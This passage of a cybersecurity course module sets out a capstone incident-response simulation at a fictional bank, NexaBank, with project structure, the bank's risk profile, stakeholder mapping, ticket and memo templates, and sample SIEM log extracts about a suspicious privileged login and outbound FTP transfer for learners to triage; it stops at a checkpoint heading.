Module 6
Capstone Project: Cybersecurity Incident Simulation

Introduction - Welcome to the Capstone Project

Welcome to the **Capstone Project**, the culminating challenge of this course.

This is not just another lab. It is a **full-scale simulation of a cybersecurity incident**, designed to test how well you can apply everything you've learned across the program.

You will take on the role of a **Junior Security Operations Center (SOC) Analyst** at **NexaBank**, a fictional but realistic financial services company. Your responsibility will be to:

- Detect and investigate suspicious activity
- Contain and respond to an unfolding cyberattack
- Document your findings in a professional format
- Communicate effectively with both technical teams and business leaders
- Consider compliance, ethics, and long-term security strategy

Along the way, you'll practice not only **technical skills** — like log analysis, SIEM alerts, and incident response — but also **professional skills**: risk management, documentation, decision-making, and ethical judgment. These are the exact challenges faced by cybersecurity teams in the real world.

By the end of this capstone, you will have:

- A complete **incident investigation portfolio** (reports, timelines, summaries, and strategic plans)
- Hands-on experience with the **full incident response lifecycle**
- A clear demonstration of your ability to **analyze, communicate, and lead** during a cybersecurity crisis

This project is meant to feel real — and it is designed to push you. Take it seriously, work through each phase carefully, and you'll finish with a strong foundation for professional practice in cybersecurity.

Project Structure

The Capstone Project is organized into **six phases**, each mirroring a stage in the lifecycle of a real-world cybersecurity incident. As you progress, you'll see how technical analysis, decision-making, documentation, and communication all fit together into a complete response.

Phase 1: Setting the Stage

Get oriented by learning about **NexaBank**, the fictional company you'll be protecting. Understand your role as a **Junior SOC Analyst**, review the organization's known risks, and identify the key stakeholders who will be affected by your decisions.

Phase 2: Incident Begins

Experience the **adrenaline of triage** as you review incoming alerts, analyze suspicious activity, and decide what requires escalation. You'll practice prioritization and craft your first SOC escalation ticket.

Phase 3: Your Investigation

Correlate multiple sources of evidence — including logs, SIEM alerts, and network data — to identify **Indicators of Compromise (IOCs)**. Build a timeline of attacker activity and begin piecing together the narrative of the breach.

Phase 4: Response and Documentation

Take decisive action with containment, eradication, and recovery. While doing so, preserve digital evidence, maintain a chain of custody, and draft a **formal incident report** that captures both the technical and procedural aspects of your response.

Phase 5: Post-Incident Analysis

Step back to examine the bigger picture. Conduct a **root cause analysis**, assess the business impact, update the **risk register**, and run a **lessons learned workshop**. Translate findings into **policy and playbook updates**, and recommend strategic improvements to strengthen future defenses.

Phase 6: Ethics, Strategy, and Presentation

Finish by elevating your work to the **executive level**. Prepare a clear one-page executive summary, deliver a **strategic security improvement plan**, and reflect on the ethical and compliance dimensions of cybersecurity work. Your final deliverables form a **professional portfolio** that mirrors industry practice.

Together, these six phases simulate the **full incident response lifecycle** — from first alert to executive briefing. By completing them, you'll demonstrate not just technical skill, but the judgment, communication, and strategic thinking that define a true cybersecurity professional.

Learning Objectives

By completing the Capstone Project, you will be able to:

- **Step into the role of a SOC Analyst** and simulate real-world responsibilities during a live incident.
- **Detect, validate, and investigate malicious activity** by correlating data from SIEM alerts, system logs, and network traffic.
- **Apply the full incident response lifecycle** — *Contain → Eradicate → Recover* — in a structured and professional manner.
- **Document and preserve digital evidence** while maintaining a proper chain of custody and legal defensibility.
- **Conduct a post-incident review** to perform root cause analysis, assess business impact, and propose risk-based improvements.
- **Communicate effectively across stakeholders** — including executives, IT operations, legal, and customers — with the right level of technical and business detail.
- **Reflect on ethical and compliance responsibilities** in cybersecurity, recognizing that incident response extends beyond technology to trust, law, and accountability.

Complexity and Time Commitment

The Capstone is a **comprehensive, professional-level project**. It is expected to take **approximately 40 hours** to complete, reflecting the depth and realism of a full-scale cybersecurity incident.

Each of the **six phases** is broken into detailed sections, blending **technical investigation, documentation, communication, and strategy**. By the end, you will have a complete portfolio of professional deliverables that mirror industry practice.

Estimated Breakdown

Phase	Sections	Estimated Time	Key Deliverable(s)
1. Setting the Stage	5	4–5 hours	Risk memo
2. Incident Begins	8	7–8 hours	SOC analyst ticket + escalation note
3. Investigation	6	8–9 hours	Incident timeline
4. Response & Documentation	4	9–10 hours	Formal incident response report
5. Post-Incident Analysis	5	6–7 hours	Post-incident review document
6. Ethics & Presentation	5	5–6 hours	Executive slides + ethics reflection essay

Total Commitment

- **34 sections** across six phases
- **~40 hours of work**
- A portfolio of **professional deliverables** (tickets, reports, timelines, executive summaries, and presentations) suitable for showcasing to employers

Capstone Deliverables

By the end of the project, you will have produced a complete portfolio of **professional cybersecurity artifacts**, organized by phase.

Phase	Deliverable	Format / Estimated Length	Intended Audience
1. Setting the Stage	Risk Memo	1–2 pages (written)	Security team leadership
2. Incident Begins	SOC Analyst Ticket	1 page (structured ticket form)	Senior SOC Analyst
	Escalation Note	0.5–1 page (concise memo/email)	Incident Response Lead
3. Your Investigation	Incident Timeline	1–2 pages (table/chronology)	SOC team & investigators
	IOC List	1 page (table of IOCs)	SOC team & threat hunters
4. Response & Documentation	Containment Playbook Record	1–2 pages (step log)	Incident Response Team
	Eradication & Recovery Notes	1–2 pages (technical notes)	IT Ops & IR Team
	Chain of Custody Log	1–2 pages (structured log table)	Forensics & Legal
	Formal Incident Response Report	5–7 pages (structured report)	Executives, Legal, Auditors
5. Post-Incident Analysis	Root Cause Analysis Report	1–2 pages (technical/analytical)	SOC + IT Ops

Phase	Deliverable	Format / Estimated Length	Intended Audience
	Business Impact Review	1–2 pages (business-focused)	Executives, Legal, Risk Mgmt
	Updated Risk Register	1–2 pages (spreadsheet/table)	Risk Committee
	Lessons Learned Summary	1–2 pages (bullet format)	SOC + Executives
	Recommendations Report	2–3 pages (prioritized list)	Executives + IT Ops
6. Ethics, Strategy, and Presentation	Compliance Mapping Table	1 page (structured table)	Legal/Compliance
	Executive Summary Document	1 page (non-technical brief)	Executives/Board
	Strategic Security Roadmap	2–3 pages (short/med/long term initiatives)	Executives + Security Leadership
	Executive Briefing Slides	5–7 slides (visual, leadership-ready)	Executives, Board
	Ethics Reflection Essay	1–2 pages (reflective essay)	Instructor / Self-assessment
	Final Reflection Paper	2–3 pages (self-assessment)	Instructor / Self-assessment
	Capstone Portfolio Submission	Compiled packet (all above deliverables)	Instructor / Potential Employers

Totals:

- **20 deliverables across 6 phases**
- **Mix of technical, business, and reflective outputs**
- **Audience ranges from SOC peers to executive leadership and compliance/legal**

How to Approach the Project

The Capstone is designed to **mirror professional practice**. To succeed, you'll need more than technical accuracy — you'll need judgment, clear communication, and a structured workflow.

Key Mindsets for Success

- **Think like a professional analyst** → Don't just follow instructions. Interpret evidence, make judgment calls, and justify your actions.
- **Document everything** → Logs, IOCs, actions, and decisions matter as much as the technical fixes themselves.
- **Balance technical and communication skills** → Your reports and presentations must make sense to both engineers and executives.
- **Treat it as real** → This is a safe simulation, but approach it as if you were working in an actual SOC under pressure.

Pre-Capstone Readiness Checklist

Before beginning **Phase 1**, confirm that you are prepared:

- I understand the **structure and goals** of the Capstone.
- I can dedicate **~40 hours** across six phases.
- I am ready to step into the role of a **Junior SOC Analyst at NexaBank**.
- I am prepared to produce **professional deliverables** (reports, memos, timelines, presentations).

Phase 1 – Setting the Stage

1.1 Welcome to the Capstone – Introduction to the Challenge

Overview

The Capstone marks the transition from **guided labs** to a **comprehensive, end-to-end cybersecurity simulation**.
Unlike previous exercises, there is no "single right answer" for every step. Instead, you will be expected to think, analyze, and make decisions as if you were truly part of a **Security Operations Center (SOC)** team.

This is your opportunity to prove that you can not only **apply technical skills** but also **communicate, document, and strategize** like a cybersecurity professional.

Your Mission

You have been assigned to the **NexaBank SOC (Security Operations Center)** as a **Junior Security Analyst**.
Over the course of this project, you will:

1. **Detect** suspicious activity using SIEM alerts, logs, and network captures.
2. **Investigate** and confirm Indicators of Compromise (IOCs).
3. **Respond** by containing the incident, eradicating threats, and recovering systems.
4. **Document** every action, preserving evidence and maintaining professional reporting standards.
5. **Analyze** the root cause, update the risk register, and propose security improvements.
6. **Present** your findings to leadership, while reflecting on the ethical challenges of disclosure and accountability.

Your final outputs will include **professional-grade deliverables**: technical reports, risk documents, an executive briefing, and an ethics reflection.

Why This Matters

Real-world cybersecurity is not just about running commands or configuring tools. It is about **making decisions under pressure** while balancing:

- **Technical accuracy** → Correctly identifying and mitigating threats.
- **Business impact** → Understanding how decisions affect operations and customer trust.
- **Legal & ethical considerations** → Handling data responsibly, complying with regulations, and communicating transparently.

This Capstone mirrors the **high-stakes reality of modern SOC work**, where your actions directly influence whether an organization weathers an attack — or suffers lasting damage.

What's Different About the Capstone

Compared to earlier labs:

- **Multi-phase complexity** → Instead of a single tool or task, you will follow an incident from **start to finish**.
- **Multiple data sources** → Logs, alerts, network traffic, and endpoint data must all be correlated.
- **Open-ended decisions** → You will have to prioritize actions, choose communication strategies, and justify your reasoning.
- **Stakeholder communication** → You will prepare documents not only for technical staff, but also for executives, HR, legal, and customers.
- **Ethical dilemmas** → You will reflect on disclosure, accountability, and professional responsibility.

Estimated Effort

This is a **major project** designed to take approximately **40 hours** across six phases and 34 sections.

You will need to dedicate focused time for both **technical investigation** and **documentation/presentation work**.

Mindset for Success

To succeed in the Capstone, approach it with the mindset of a **real cybersecurity analyst**:

- Be **curious** – follow suspicious leads and ask, "what else could this mean?"
- Be **systematic** – document every action and build a clear timeline.
- Be **decisive** – incidents don't wait for perfect certainty; you must act with the information available.
- Be **communicative** – your findings are only useful if others understand them.

Remember: **speed, accuracy, and communication** are the lifelines of effective incident response.

Checkpoint: Are You Ready?

Before moving forward, confirm:

- I understand that the Capstone is an **end-to-end simulation**.
- I am ready to act as a **Junior SOC Analyst** at NexaBank.
- I can dedicate **~40 hours** to complete the full project.
- I will produce **professional-grade deliverables** (reports, presentations, memos).

Once you're ready — proceed to **Section 1.2: NexaBank Overview**, where you will meet the organization you'll be defending.

1.2 NexaBank Overview – Understanding the Organization

Overview

Before you can defend a company, you must understand **who they are**, **what they do**, and **where they are vulnerable**. This section introduces you to **NexaBank**, the fictional organization you'll be protecting throughout the Capstone.

NexaBank is a **mid-sized digital banking firm** with **300+ employees** and over **40,000 customers** across North America. Its business model depends on secure and reliable **web and mobile financial applications**, backed by a hybrid infrastructure of on-premises systems and cloud services.

Key Facts

- **Industry:** Digital Finance / Banking
- **Employees:** ~320
- **Customers:** 40,000+ retail banking customers
- **Headquarters:** Toronto, with remote employees across the U.S. and Canada
- **IT Footprint:** Hybrid infrastructure (Windows, Linux, Cloud CRM)
- **Security Maturity:** Growing, but uneven — security has not kept pace with rapid expansion

Business Operations

NexaBank's revenue and reputation depend on:

- **Customer-facing services** → Web and mobile banking apps used daily by thousands of customers.
- **Internal systems** → Employee email, HR systems, financial databases, customer service portals.
- **Third-party integrations** → Cloud-based CRM, payment processors, external APIs.
- **Hybrid cloud model** →

- On-premises: Windows Active Directory domain controllers, file servers, HR database.
- Cloud: CRM system (SaaS), email hosting, backups.
- Linux-based API servers exposed to the internet for mobile app support.

Infrastructure Snapshot

On-Premises Assets (Data Center – Toronto HQ):

- Windows Server 2019 domain controllers (Active Directory + authentication).
- HR database server (Windows Server + SQL).
- File server hosting internal documents.

Cloud Assets:

- CRM (customer relationship management) hosted on a SaaS platform.
- Email and collaboration suite.
- Cloud backup provider.

Public-Facing Assets:

- Linux-based API servers supporting mobile banking app.
- Web application servers (customer login portal).

Endpoints:

- Mix of Windows laptops (staff) and macOS laptops (developers).
- 30% of employees are **remote**, connecting via VPN.

Security Posture

NexaBank is in **transition** from a startup-style IT approach to a regulated financial services posture. Current state includes:

Strengths

- Basic firewalls and intrusion detection in place.
- SIEM system recently deployed.

- Incident response policy drafted.

Weaknesses

- **Patching delays** (servers often 30–60 days behind).
- **Inconsistent endpoint protection** across remote devices.
- **Policy gaps** (password and account lockout rules outdated).
- **Privileged accounts** not reviewed regularly.
- **Monitoring gaps** (limited logging on API servers).

Business Risks

Because NexaBank is in the **finance sector**, the stakes are high:

- **Customer trust:** A single breach could cause major reputational damage.
- **Regulatory exposure:** Compliance with Canadian and U.S. financial data laws is mandatory.
- **Financial risk:** Downtime or fraud could mean millions in losses.
- **Operational risk:** Remote workforce and hybrid systems create complexity attackers can exploit.

Exercise: Mapping NexaBank's Attack Surface

Using what you know about NexaBank's infrastructure, list potential **entry points for attackers**:

1. _____
2. _____
3. _____
4. _____

Hint: Think about remote VPN access, web-facing APIs, unpatched servers, or weak policies.

Checkpoint: Section 1.2

Before continuing to Section 1.3, make sure you can:

- Describe NexaBank's business operations and hybrid infrastructure.
- Identify key on-prem, cloud, and public-facing assets.
- Recognize major weaknesses in their current security posture.
- List at least three potential attacker entry points.

1.3 Your Role in the SOC – Junior Security Analyst

Overview

You have just joined NexaBank as a **Junior Security Analyst** in the **Security Operations Center (SOC)**.
The SOC is the **frontline defense team** responsible for detecting, analyzing, and responding to security threats against the bank.

As a junior analyst, you are not just "watching alerts" — you are an active part of the decision-making process that can make the difference between a **minor contained incident** and a **catastrophic breach**.

Your Responsibilities

Your daily work includes:

- **Monitoring alerts** → Watch SIEM dashboards and endpoint detection alerts for unusual activity.
- **Investigating suspicious activity** → Dive into system logs, firewall logs, and network traffic to validate or dismiss alerts.
- **Incident triage** → Determine whether activity is benign (false positive), suspicious (needs escalation), or confirmed malicious.
- **Documenting findings** → Keep detailed, timestamped notes for every investigation.
- **Escalating incidents** → Pass confirmed threats to **Senior Analysts** or **Incident Response (IR) leads** with a clear summary.

Think of yourself as a "first responder" in digital security.

The Escalation Path

At NexaBank, the escalation process works as follows:

1. **Tier 1 – Junior SOC Analysts (you):**
    - First line of defense.

- Handle alert triage, basic investigation, and log review.
- Document findings in the SOC ticketing system.

2. **Tier 2 – Senior SOC Analysts:**
    - Validate escalations.
    - Lead deeper forensic analysis.
    - Decide on containment and eradication steps.
3. **Tier 3 – Incident Response (IR) Team & CISO:**
    - Manage complex or major incidents.
    - Handle communications with executives, HR, Legal, and external regulators.

Tools at Your Disposal

You will have access to:

- **SIEM platform** (Security Information and Event Management) – Centralized alerting and log correlation.
- **Endpoint Detection & Response (EDR)** – Malware and endpoint alerts.
- **Network monitoring tools** – Firewalls, IDS/IPS logs, packet captures.
- **Forensic tools** – Memory capture utilities, hash verification.
- **Collaboration systems** – Ticketing system, chat channels, reporting templates.

What Success Looks Like

As a Junior SOC Analyst, your performance is measured by:

- **Accuracy** – Do you correctly classify alerts and avoid false positives/negatives?
- **Timeliness** – Do you respond and escalate quickly when required?
- **Clarity** – Are your reports and notes detailed, professional, and easy to follow?

- **Collaboration** – Do you communicate effectively with senior analysts and IT teams?

Exercise: Your First Day Priorities

Imagine it's your **first day on the job** at NexaBank. Rank the following responsibilities in order of importance (1 = most important, 5 = least important). Then explain your reasoning.

- Monitoring alerts
- Investigating suspicious activity
- Documenting findings
- Escalating confirmed incidents
- Communicating with stakeholders

1. _____
2. _____
3. _____
4. _____
5. _____

Why?

_____

_____

_____

Checkpoint: Section 1.3

Before continuing to Section 1.4, make sure you can:

- Explain the role of a Junior SOC Analyst at NexaBank.
- Describe the escalation path from Tier 1 → Tier 3.
- Identify the main tools you'll be using.
- Reflect on how you would prioritize your responsibilities.

1.4 Known Risks & Weak Spots – NexaBank's Vulnerability Landscape

Overview

Every organization has **security debt** — gaps in protection that attackers can exploit. At NexaBank, recent internal assessments and SOC findings have highlighted several **known risks**.
As a Junior SOC Analyst, you must keep these in mind when reviewing alerts, since they may explain how attackers gain initial access or persist inside the network.

1.4.1 Delayed Patching

- **Issue:** Due to staffing shortages, patching cycles often lag **30–60 days** behind vendor releases.
- **Impact:** Known vulnerabilities remain unpatched, making NexaBank a prime target for exploitation (e.g., unpatched VPN servers, Windows RDP flaws, API vulnerabilities).
- **Potential Attacks:** Exploit kits, remote code execution, privilege escalation.

1.4.2 Remote Workforce Risks

- **Issue:** Roughly **30% of employees work remotely**, connecting over VPN and cloud services.
- **Impact:** Increased reliance on secure VPN configs and endpoint security — both of which are inconsistently managed.
- **Potential Attacks:** Stolen VPN credentials, insecure Wi-Fi use, phishing campaigns against remote staff.

1.4.3 Policy Gaps

- **Issue:** NexaBank's **acceptable use** and **account lockout** policies are outdated. Password requirements are weak, and lockouts are not enforced.

- **Impact:** Easier for attackers to brute-force accounts or reuse stolen credentials.
- **Potential Attacks:** Credential stuffing, password spraying, account takeover.

1.4.4 Endpoint Protection Coverage

- **Issue:** Endpoint protection software is not consistently deployed across all remote laptops and some developer machines.
- **Impact:** Malware may go undetected, persistence mechanisms can remain hidden.
- **Potential Attacks:** Keyloggers, trojans, ransomware footholds.

1.4.5 Privileged Account Management

- **Issue:** Privileged accounts (e.g., domain admins, database admins) are not regularly reviewed.
- **Impact:** Dormant or misused accounts may exist, increasing the blast radius if compromised.
- **Potential Attacks:** Privilege escalation, data exfiltration, lateral movement.

Summary Table – NexaBank's Weak Spots

Risk	Impact	Potential Exploit
Delayed patching	Vulnerable servers exposed to attackers	RCE, exploitation of CVEs
Remote workforce	Weak VPN, insecure remote access	Credential theft, phishing, MITM
Policy gaps	Weak password/lockout enforcement	Brute force, credential stuffing
Endpoint protection coverage	Malware persistence undetected	Ransomware, keyloggers, trojans

Risk	Impact	Potential Exploit
Privileged account management	Dormant/high-privilege accounts abused	Data theft, lateral movement

Exercise: Risk Ranking

Rank the five risks above from **most critical to least critical** in NexaBank's current environment. Justify your reasoning.

1. _____
2. _____
3. _____
4. _____
5. _____

Why did you rank #1 as most critical?

_____

_____

_____

Checkpoint: Section 1.4

Before moving to Section 1.5, make sure you can:

- List NexaBank's five major known risks.
- Connect each risk to potential attacker actions.
- Prioritize risks based on likelihood and impact.

1.5 Stakeholders & Business Impact – Who's Affected by an Incident?

Overview

Cybersecurity incidents rarely stay confined to the SOC.
At NexaBank, your actions as a Junior SOC Analyst ripple across multiple departments and directly affect both employees and customers.

To succeed in this Capstone, you must think not just about **technical containment**, but also about **business communication**. Each stakeholder has unique concerns — and your reports must address them clearly.

Key Stakeholders at NexaBank

Stakeholder	Role	What They Need	How They're Affected by Incidents
IT Operations	Maintain infrastructure, servers, backups	Timely alerts about affected systems, instructions on containment & patching	Extra workload for patching, isolating servers, restoring backups
HR	Manage employees and policies	Awareness if an incident involves employee devices, accounts, or behavior	Employee discipline, training requirements, or device replacement
Legal & Compliance	Ensure NexaBank complies with laws/regulations	Precise documentation, timelines, and scope of data exposure	May need to file breach notifications, handle lawsuits, or engage regulators
Executive Team	Strategic decision-making and business continuity	Concise, high-level updates (business impact, customer trust, financial cost)	Direct responsibility for public response, shareholder confidence, reputation

Stakeholder	Role	What They Need	How They're Affected by Incidents
Customers	Use NexaBank's web/mobile services	Clear communication if their data or services are impacted	Loss of trust, potential account compromises, financial fraud

Examples of Stakeholder Impacts

- A **server compromise** → IT Ops must restore from backup; Executives want to know downtime impact.
- A **phishing attack against staff** → HR may need to retrain employees; Legal may prepare breach reports.
- A **data breach involving customer PII** → Customers lose trust; Legal triggers compliance reporting.

Communication Styles

When reporting incidents, tailor your communication:

- **IT Ops:** Technical, detailed, step-by-step.
- **HR:** Policy and employee-focused.
- **Legal:** Exact timelines, logs, evidence.
- **Executives:** Business outcomes, big picture.
- **Customers:** Transparent, simple, non-technical.

Exercise: Stakeholder Mapping

Pick **one incident scenario** (example: phishing attack, ransomware outbreak, or stolen credentials).
For each stakeholder group, write what they would care about most.

- **IT Operations:** _____
- **HR:** _____

- **Legal:** _____
- **Executives:** _____
- **Customers:** _____

Checkpoint: Section 1.5

Before completing Phase 1, make sure you can:

- Identify NexaBank's five main stakeholders.
- Explain how each group is impacted by incidents.
- Adjust your reporting style based on the audience.

Phase 1 Recap – Setting the Stage

What You've Learned

In this first phase of the Capstone, you've:

- Understood the **Capstone challenge** and your role as a **Junior SOC Analyst**.
- Explored **NexaBank's organization profile**, including its infrastructure and operations.
- Learned about your **responsibilities and escalation path** in the SOC.
- Reviewed NexaBank's **known risks and weak spots** that attackers may exploit.
- Mapped **stakeholders** and the **business impact** of cybersecurity incidents.

Key Takeaways

- Cybersecurity is as much about **business continuity and communication** as it is about technical defense.
- NexaBank faces **genuine weaknesses** (patching delays, weak policies, endpoint gaps) that you will need to keep in mind when analyzing incidents.
- Stakeholders each see incidents through **different lenses**: IT wants detail, executives want business impact, customers want trust.
- As a SOC Analyst, your role sits at the **intersection of technical detection and organizational decision-making**.

Deliverable for Phase 1

Complete your **Risk Memo**, which should include:

1. Top **three risks** NexaBank currently faces.
2. At least **one stakeholder** who would be impacted by each risk.
3. A short explanation of why you ranked your top risk as most critical.

Checkpoint Before Phase 2

Before moving forward, confirm you can:

- Explain NexaBank's infrastructure and business model.
- Describe your role as a Junior SOC Analyst and how escalation works.
- Identify NexaBank's five key risks.
- Map stakeholders to potential impacts.
- Complete and submit your **Risk Memo**.

Risk Memo Template – Phase 1 Deliverable

To: Senior Security Analyst, NexaBank SOC

From: Junior SOC Analyst (You)

Subject: NexaBank Risk Assessment – Pre-Incident Memo

Date: _____

1. Top Risks Identified

List the **three most critical risks** NexaBank currently faces. Use clear, professional language.

1. **Risk #1:** _____
    - **Description:** _____
    - **Why Critical:** _____
2. **Risk #2:** _____
    - **Description:** _____
    - **Why Important:** _____
3. **Risk #3:** _____
    - **Description:** _____
    - **Why Important:** _____

2. Stakeholder Impact

For each risk, identify at least **one stakeholder group** that would be affected, and explain **how**.

Risk	Stakeholder Affected	Impact
Risk #1	_____	_____
Risk #2	_____	_____

Risk	Stakeholder Affected	Impact
Risk #3	_____	_____

3. Prioritization Rationale

Select the **#1 most critical risk** and explain why it deserves the highest priority.

- **Chosen Risk: _____**
- **Reasoning:**

---

4. Analyst Notes (Optional)

Use this section to note any assumptions, unanswered questions, or areas you would like to investigate further once the incident begins.

Completion Checklist

- I have listed three key risks.
- I have mapped each risk to a stakeholder impact.
- I have chosen and justified the top-priority risk.
- My memo is written in **clear, professional SOC language**.

Phase 2: Incident Begins

2.1 First Alert Arrives – Suspicious Login

Scenario

It's **2:41 AM on a Wednesday**.
You are reviewing the overnight SOC dashboard when the SIEM generates a **high-priority alert**:

- **Alert Type:** Unusual login activity
- **Account:** dbadmin
- **Source IP:** 203.0.113.41 (geolocated outside North America)
- **Login Result:** Successful
- **System Accessed:** HR database server
- **Correlation Rule Triggered:** "Privileged login outside business hours"

Your First Reaction

As a Junior SOC Analyst, your responsibility is not to panic — but to begin triage. Ask yourself:

- Is this alert **credible** or could it be a **false positive**?
- Why is a **privileged account** logging in at 2:41 AM?
- Does the IP address location make sense for this user?
- What should be the **next step**: dismiss, monitor, or escalate?

Alert Analysis – Key Observations

1. **Privileged account in use** → dbadmin has access to sensitive HR files.
2. **Suspicious login time** → Activity outside normal hours increases risk.
3. **Foreign IP address** → May indicate compromised credentials.

4. **Successful login** → This is not just a failed attempt; the attacker may already be inside.

Exercise: Initial Triage Questions

Fill out the following table as part of your first SOC note-taking:

Question	Your Answer
Does the account normally log in at this time?	_____
Could the IP be legitimate (e.g., VPN, traveling employee)?	_____
What data/systems could be at risk if this is malicious?	_____
Is this alert high enough priority to escalate immediately?	_____

Action Choices

As a Junior Analyst, you have three possible decisions:

1. **Dismiss** – Mark as false positive and move on.
2. **Monitor** – Note as suspicious but continue gathering more data.
3. **Escalate** – Flag to a Senior Analyst with justification.

Remember: Privileged accounts + unusual logins are high-risk by default. False positives should be rare in this scenario.

Deliverable: SOC Ticket (Initial Notes)

Document this event in the SOC ticketing system. Your ticket should include:

- Alert details (time, user, IP, system accessed).
- Your preliminary analysis.
- Your recommended action (dismiss, monitor, escalate).
- A short justification (why you made that choice).

Checkpoint: Section 2.1

Before moving to **Section 2.2: SIEM & Log Analysis**, make sure you:

- Recorded your initial observations about the suspicious login.
- Asked triage questions to assess credibility.
- Chose a recommended action and justified it.
- Created an SOC ticket with your first notes.

SOC Ticket Template – Initial Alert Documentation

Ticket ID: _____

Date/Time Opened: _____

Analyst Name: _____

Alert Source: [ ] SIEM [ ] EDR [ ] IDS/IPS [ ] Other

Priority Level: [ ] Low [ ] Medium [ ] High [ ] Critical

1. Alert Details

- **Alert Type:** _____
- **System Affected:** _____
- **User/Account Involved:** _____
- **Source IP / Location:** _____
- **Timestamp of Event:** _____
- **Correlation Rule Triggered:** _____

2. Initial Observations

- **Unusual Activity:** _____
- **Why Suspicious:** _____
- **Potential Business Impact:** _____
- **Confidence Level (Low/Med/High):** _____

3. Triage Questions

Question	Analyst Notes
Does the activity match normal behavior?	_____

Question	Analyst Notes
Could this be a legitimate exception?	_____
What systems or data are at risk?	_____
Is escalation needed? Why/Why not?	_____

4. Recommended Action

Choose one:

- **Dismiss** – False positive confirmed.
- **Monitor** – Suspicious but not confirmed; continue to gather data.
- **Escalate** – Confirmed suspicious; requires senior analyst review.

Justification for Action:

_____

_____

5. Next Steps

- **Follow-Up Tasks:** _____
- **Escalation Contact (if applicable):** _____
- **Ticket Status:** [ ] Open [ ] Monitoring [ ] Escalated [ ] Closed

Reminder:
Every SOC ticket is part of the **official incident record**. Write in clear, professional language — assume this document may later be reviewed by senior analysts, auditors, or even legal teams.

This template can now be reused in later sections of Phase 2 and beyond, giving consistency as the incident unfolds.

2.2 SIEM & Log Analysis – Digging Deeper

Scenario

After documenting the suspicious **dbadmin login at 2:41 AM**, you pull additional logs from the SIEM (Security Information and Event Management) system to investigate further.

The SIEM correlates events from multiple sources — authentication logs, firewall logs, endpoint agents — and presents them in one place. Your task is to **find supporting evidence** that confirms whether this login is:

- A **false positive** (legitimate activity), or
- An **Indicator of Compromise (IOC)** suggesting malicious access.

Step 1: Review Authentication Logs

You start with authentication logs around the event:

Sample SIEM Extract – Authentication Events

2025-09-27 02:41:13 SUCCESS LOGIN dbadmin IP=203.0.113.41

2025-09-27 02:41:20 FILE ACCESS dbadmin HR_fileserver HR/employee_data.xlsx

2025-09-27 02:42:10 FILE ACCESS dbadmin HR_fileserver HR/salaries.csv

Observations:

- Login succeeded from a **foreign IP address**.
- Within 1 minute, sensitive HR files were accessed.
- Pattern suggests **data exfiltration preparation**, not routine admin work.

Step 2: Review Firewall/Network Logs

Firewall logs provide additional context:

Sample SIEM Extract – Firewall Events

2025-09-27 02:43:02 OUTBOUND CONNECTION dbadmin → FTP 198.51.100.77:21

2025-09-27 02:43:15 OUTBOUND DATA TRANSFER initiated (size: 25MB)

Observations:

- Outbound FTP connection (unusual protocol for NexaBank).
- Large transfer initiated shortly after login.
- Strong evidence of **potential data exfiltration**.

Step 3: Identify IOCs

From these logs, you now have potential Indicators of Compromise:

- **Foreign IP address**: 203.0.113.41 (login source).
- **FTP server IP**: 198.51.100.77 (data transfer destination).
- **Account Misuse**: dbadmin accessing HR data outside normal business hours.

Exercise: IOC Log Analysis

Fill out the following IOC table based on what you've observed:

IOC	Source	Why Suspicious?
_____	Authentication Log	_____
_____	File Access Log	_____
_____	Firewall Log	_____

Step 4: Update SOC Ticket

Add these findings to your SOC ticket from Section 2.1. Be sure to:

- Attach log extracts (authentication + firewall).
- Record identified IOCs.
- Elevate your confidence level (this is likely not a false positive).
- Decide whether to **escalate immediately** to a Senior Analyst.

Checkpoint: Section 2.2

Before moving on to **Section 2.3: Multiple Alerts Appear**, make sure you can:

- Extract authentication and firewall events from SIEM data.
- Identify Indicators of Compromise (IOCs) from logs.
- Update your SOC ticket with log-based evidence.
- Justify whether this alert should be escalated.

Log Analysis Worksheet – IOC Extraction

Ticket ID: _____

Date/Time of Event: _____

Analyst Name: _____

1. Log Sources Reviewed

Check all that apply:

- Authentication Logs
- File Access Logs
- Firewall Logs
- Network Traffic (PCAP)
- Endpoint/EDR Alerts
- Other: _____

2. Key Event Entries

Record suspicious or relevant log entries:

Timestamp	Event Type	Details	Why Suspicious?
_____	_____	_____	_____
_____	_____	_____	_____
_____	_____	_____	_____

3. Indicators of Compromise (IOCs) Identified

List all potential IOCs discovered from the logs.

IOC	Source Log	Reason for Concern
_____	_____	_____
_____	_____	_____
_____	_____	_____

4. Analyst Confidence

How confident are you that these events indicate malicious activity?

- Low – Likely benign, but worth noting.
- Medium – Suspicious; requires monitoring.
- High – Strong evidence of compromise.

5. Recommended Action

Choose one:

- Dismiss – No further action needed.
- Monitor – Continue collecting evidence.
- Escalate – Flag to senior analyst/IR team.

Justification:

Reminder:
Attach excerpts of raw log entries (copy/paste or screenshot) to your SOC Ticket.
Evidence must always support your decision.

2.3 Multiple Alerts Appear – Triage in Action

Scenario

It's now **2:50 AM**, just minutes after the suspicious dbadmin login and outbound FTP activity.
The SIEM dashboard suddenly lights up with **three new alerts**. You must decide which ones to prioritize and whether they are connected.

Alerts Received

1. **Alert A – Malware Detection**

- **Source:** Endpoint Protection
- **System:** Finance Dept. workstation (user: jane.smith)
- **Event:** Malware signature match → Trojan.Generic.4721
- **Action Taken:** Quarantined, pending analyst review.

2. **Alert B – Multiple Failed Logins**

- **Source:** Authentication System
- **System:** VPN gateway
- **Event:** 15 failed logins for account mark.lee between 2:46–2:49 AM.
- **Source IP:** 192.0.2.57 (domestic location).

3. **Alert C – Suspicious Network Traffic**

- **Source:** Firewall/IDS
- **System:** Database server (HR-DB01)
- **Event:** Large outbound transfer (100MB) to external IP 198.51.100.77 over FTP.
- **Timestamp:** 2:48 AM.

Your Challenge: Triage

Not every alert has equal weight. As a Junior SOC Analyst, your job is to **assess severity and urgency**.

Think about:

- Which alert represents the **highest risk** to NexaBank right now?
- Which might be related to the **dbadmin compromise** from earlier?
- Which could be **false positives** or lower priority?

Exercise: Prioritization Table

Rank the alerts from **1 (highest priority)** to **3 (lowest priority)**, and explain why.

Alert	Priority (1–3)	Reasoning
Alert A – Malware Detection	___	_____
Alert B – Failed Logins	___	_____
Alert C – Outbound FTP	___	_____

Hint: Which one involves sensitive data leaving NexaBank's systems?

Analyst Notes

- **Alert A (Malware):** Could be unrelated to the dbadmin incident, but may indicate a separate infection.
- **Alert B (Failed Logins):** Could be brute force attempt, but no success (yet).
- **Alert C (FTP Transfer):** Directly linked to the earlier suspicious login and potential **data exfiltration**.

Update SOC Ticket

- Document all three alerts.
- Record your **prioritization order** and justification.

- Escalate the **highest-priority alert** immediately to a Senior Analyst.

Checkpoint: Section 2.3

